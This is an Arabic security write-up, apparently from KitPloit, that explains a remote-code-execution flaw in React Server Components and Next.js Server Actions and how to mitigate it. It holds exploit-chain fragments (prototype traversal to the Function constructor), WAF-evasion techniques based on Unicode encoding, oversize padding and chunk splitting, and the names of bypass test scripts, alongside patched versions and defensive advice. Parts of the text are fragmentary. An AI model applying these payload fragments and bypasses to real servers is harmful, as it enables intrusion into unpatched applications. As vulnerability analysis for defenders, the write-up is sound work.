تسلسل الاستغلال```

┌─────────────────────────────────────────────────────────────────────┐ │ 1. Attacker sends multipart form with fake chunk object │ │ → decodeReply() parses form fields 0, 1, 2 │ │ → Object has: then, status, value, _response │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 2. Self-reference makes object thenable with real function │ │ → then: "$1:proto:then" → Chunk.prototype.then │ │ → Chunk.prototype.then(this) calls initializeModelChunk(this) │ │ → Uses this._response (attacker's fake _response) │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 3. parseModelString() handles "$B1337" reference │ │ → case "B": return response._formData.get(response._prefix+id) │ │ → Calls _formData.get with attacker's _prefix + "1337" │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 4. getOutlinedModel() resolves _formData.get (lazy evaluation): │ │ → "$1:constructor:constructor" traverses prototype chain │ │ → Returns Function constructor │ │ → Function(code + "1337") → RCE │ └─────────────────────────────────────────────────────────────────────┘

Self-Referential Thenable (then)

تؤدي then: "$1:__proto__:then" إلى إنشاء مرجع ذاتي يتحل إلى دالة حقيقية:``` $1:proto:then ↓ $1 → chunk 1 → "$@0" → getChunk(0) → Chunk object ↓ Chunk.proto.then → Chunk.prototype.then (actual function!)

5. يستخدم initializeModelChunk(this) قيمة this._response - وهو _response المزيف الخاص بالمهاجم:```javascript value = reviveModel( chunk._response, // ← attacker's fake _response! ... );

المرحلة 1: then ذاتي الإشارة للكائن الخارجي يُشغّل معالجة الأجزاء

المرحلة 2: عندما يحلّ React النموذج، يحلل value ويصادف thenable آخر يحتوي على then: "$B1337". بادئة $B تُشغّل المعالج:```javascript case "B": return response._formData.get(response._prefix + obj); // obj = "1337"

قد يصل الكود الداخلي لـ React إلى response._chunks.get() أو response._chunks.has() أثناء المعالجة. تلبّي الخريطة الفارغة هذه الاستدعاءات دون أخطاء، مما يسمح بالوصول إلى المعالج الضعيف $B.

مسارات الكود القابلة للاستغلال

decodeReply() هي نقطة الدخول، وهي ليست ضعيفة بحد ذاتها.

تجاوز المسار (getOutlinedModel()):```javascript for (key = 1; key < reference.length; key++) parentObject = parentObject[reference[key]]; // No validation!

$B معالج RCE (parseModelString()):```javascript case "B": return response._formData.get(response._prefix + obj); // RCE!

2. التحقق من hasOwnProperty في getOutlinedModel() - يمنع اجتياز النموذج الأولي ```javascript hasOwnProperty.call(value, name) && (value = value[name]);
   root@kitploit:~

3. التعامل مع __proto__ في reviveModel() - يمنع تلوث النموذج الأولي ```javascript void 0 !== parentObj || "proto" === i ? (value[i] = parentObj) : delete value[i];
   root@kitploit:~

4. التحقق من النوع في initializeModelChunk() - يتحقق من صحة المستمعين ```javascript "function" === typeof listener ? listener(value) : fulfillReference(response, listener, value);
   root@kitploit:~

التأثير والإصدارات

تقييم التأثير

الإصدارات المتأثرة

• react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0
• react-server-dom-turbopack: نفس الإصدارات
• Next.js: 15.x, 16.x (قبل التصحيحات), إصدارات canary ابتداءً من 14.3.0-canary.77+

الإصدارات المُصححة

• React: 19.0.1+, 19.1.2+, 19.2.1+
• Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7+

لماذا يفشل اكتشاف WAF القائم على التواقيع

يشرح هذا القسم لماذا لا يمكن لقواعد WAF التقليدية القائمة على مطابقة الأنماط اكتشاف هذا الاستغلال بشكل موثوق. فهم هذه القيود ضروري لفرق الأمن عند تقييم وضعهم الدفاعي.

المشكلة الأساسية: الترميز في طبقات متعددة

تمر حمولة الاستغلال عبر عدة محللات، ولكل منها دعم مختلف للترميز. يرى WAF الذي يفحص بايتات HTTP الخام سلاسل مشفرة، لكن الخادم يفك ترميزها قبل المعالجة:

يخلق هذا تباينًا جوهريًا: يرى WAF بايتات مشفرة، بينما يرى التطبيق سلاسل مفكوكة الترميز.

ما الذي يجب أن تطابقه التواقيع

قد يبحث WAF ساذج عن أنماط مثل constructor, __proto__, resolved_model أو child_process. ومع ذلك، يسمح JSON بهروب Unicode لأي حرف:

يوفر كود JavaScript داخل الحمولة المزيد من خيارات الترميز:

فجوة الاكتشاف

عند الجمع بين جميع تقنيات الترميز:

• تصبح مفاتيح JSON تسلسلات يونيكود (\u0074\u0068\u0065\u006e لـ then)
• تصبح معرّفات JS مصفوفات رقمية (S(99,104,105,108,100,95,...) لـ child_process)
• لا يحتوي الحمولة الخام على أي كلمات مفتاحية يمكن التعرف عليها

يرى WAF الذي يفحص جسم HTTP تسلسلات هروب وأرقامًا فقط - لا شيء يطابق تواقيع الهجوم التقليدية.

لماذا هذا مهم للمدافعين

1. توفر القواعد القائمة على التواقيع ثقة زائفة - تصل الحمولة إلى الخادم دون اكتشاف
2. الترميز لا نهائي - يمكن ترميز كل حرف بطريقة مختلفة؛ لا يمكن للتعبيرات النمطية حصر جميع المتغيرات
3. الهجوم متوافق مع البروتوكول - جميع الترميزات صالحة وفق مواصفات JSON/JavaScript

اعتبارات اكتشاف الترويسة

تحدد ترويسة Next-Action طلبات Server Action. بينما لا يمكن ترميز أسماء الترويسات بصيغة Unicode (يتطلب RFC 7230 رموز ASCII)، فإن الاختلافات في التطبيع بين WAF والخادم تُنشئ فجوات اكتشاف:

التوصيات الدفاعية

التحديث هو التخفيف الوحيد الموثوق. لا يمكن لقواعد WAF حظر هذا الهجوم بشكل شامل بسبب مرونة الترميز.

الإصدارات المطلوبة:

• React: 19.0.1+, 19.1.2+, 19.2.1+
• Next.js: 15.0.5+, 15.1.9+, 15.2.6+, 15.3.6+, 15.4.8+, 15.5.7+, 16.0.7+

إذا تأخر التحديث، فضع في الاعتبار:

1. فك الترميز قبل المطابقة - يجب على WAF فك ترميز \uXXXX, \xXX, وتطبيع استدعاءات fromCharCode() قبل مطابقة الأنماط
2. الاكتشاف البنيوي - ابحث عن هياكل JSON تحتوي على _response, _prefix, _chunks, أو مراجع دائرية ($@0)
3. تطبيع الترويسة - طابق ترويسة next-action بدون حساسية لحالة الأحرف مع إزالة المسافات البيضاء
4. حظر Server Actions - إذا كنت لا تستخدم Server Actions، احظر الطلبات التي تحمل ترويسة Next-Action بالكامل
5. مراقبة وقت التشغيل - أنشئ تنبيهات عند استدعاءات Function() بوسائط نصية ديناميكية

الخلاصة الرئيسية: مطابقة الأنماط وحدها ستفشل ضد هذا النوع من الهجمات. سطح الترميز كبير جدًا لدرجة يتعذر معها حصره.

تجاوز حدود فحص جسم AWS WAF

حتى مع وجود قواعد WAF شاملة، يفرض AWS WAF حدودًا لحجم فحص الجسم يمكن استغلالها. يوثق هذا القسم تقنيات تجاوز تم اختبارها باستخدام حمولات ضخمة.

حدود فحص الجسم

يفحص AWS WAF جزءًا فقط من جسم الطلب:

مشكلة OversizeHandling

تحدد قواعد WAF كيفية معالجة الطلبات التي تتجاوز حدود الفحص:

إذا كانت قاعدة WAF لديك تستخدم OversizeHandling: CONTINUE (الافتراضي الشائع)، فإن التجاوز يكون تافهًا.

استراتيجية التجاوز: الحشو قبل الحمولة

ضع بيانات حشو غير ضارة قبل حمولة الاستغلال بحيث تقع خارج نافذة الفحص:``` ┌─────────────────────────────────────────────────────────────────┐ │ Multipart Form Body │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: padding] 65KB of 'A' characters │ │ ↑ WAF inspects first 8-64KB (sees only this) │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: 0] {"then":"$1:proto:then", ...} │ │ [Field: 1] "$@0" │ │ [Field: 2] [] │ │ ↑ Exploit payload - beyond WAF inspection limit │ └─────────────────────────────────────────────────────────────────┘

النمط موزّع عبر الأجزاء:``` Chunk 1 ends with: ..."$ ← WAF sees "$" alone (no match for $@) Chunk 2 starts with: @0"... ← WAF sees "@" alone (no match for $@)

اعتبارات سلوك WAF

ملاحظة: عادةً ما يعيد AWS WAF تجميع الأجسام المجزأة قبل الفحص. ومع ذلك، يجب التحقق من ذلك في كل بيئة لأن الإعدادات تختلف.

توصيات التخفيف

1. غيّر OversizeHandling إلى MATCH ```json "OversizeHandling": "MATCH"
   root@kitploit:~

يعمل هذا على حظر أي طلب يتجاوز حد الفحص عند تحقق شروط القاعدة.

2. زيادة حد فحص النص (CloudFront/API Gateway فقط) قم بتعيين حد يصل إلى 64KB في إعدادات web ACL، لكن هذا لا يمنع الالتفاف بشكل كامل.

3. إضافة قاعدة حظر مبنية على الحجم احظر طلبات POST التي يتجاوز ترويسة Next-Action فيها حجمًا معقولًا (مثل 10KB).

4. تصحيح التطبيق - الحل الكامل الوحيد.

نصوص الاختبار

راجع نصوص الاختبار المرفقة:

• test-simple.cjs - اختبار أساسي للحمولة غير المجزأة
• test-oversize.cjs - يختبر أحجام الحشو من 0 إلى 128KB
• test-chunked-v2.cjs - ترميز النقل المجزأ مع تقسيم $@
• test-chunked-bypass.cjs - استراتيجيات تجزئة متعددة (5 بايت، 10 بايت، تقسيمات الأنماط)

الاستخدام:```bash

Start vulnerable Next.js server (port 3000)

cd nextjs-test && npm run dev

Run tests

node test-simple.cjs # Baseline node test-oversize.cjs # Oversize body bypass node test-chunked-v2.cjs # Chunked $@ split node test-chunked-bypass.cjs # All chunking strategies

عند استخدام الحمولة "$1:constructor:constructor":

1. chunk[1]["constructor"] → [Function: Object]
2. Object["constructor"] → [Function: Function]

المسارات المحظورة التي جربناها

بينما حصلنا على Function، فإن تحقيق RCE يتطلب استدعاءها بوسائط متحكم بها. هذه المسارات فشلت:

1. مسار Thenable (محظور)```javascript // Attempt: { then: Function } // When awaited, V8 calls: Function(resolve, reject) // resolve.toString() = "function () { [native code] }" // Result: SyntaxError - invalid parameter name

3. مسار المُكرِّر (محظور)```javascript // Function.bind(null, code) needs TWO calls to execute // React only calls iterator once // Result: Returns bound function, doesn't execute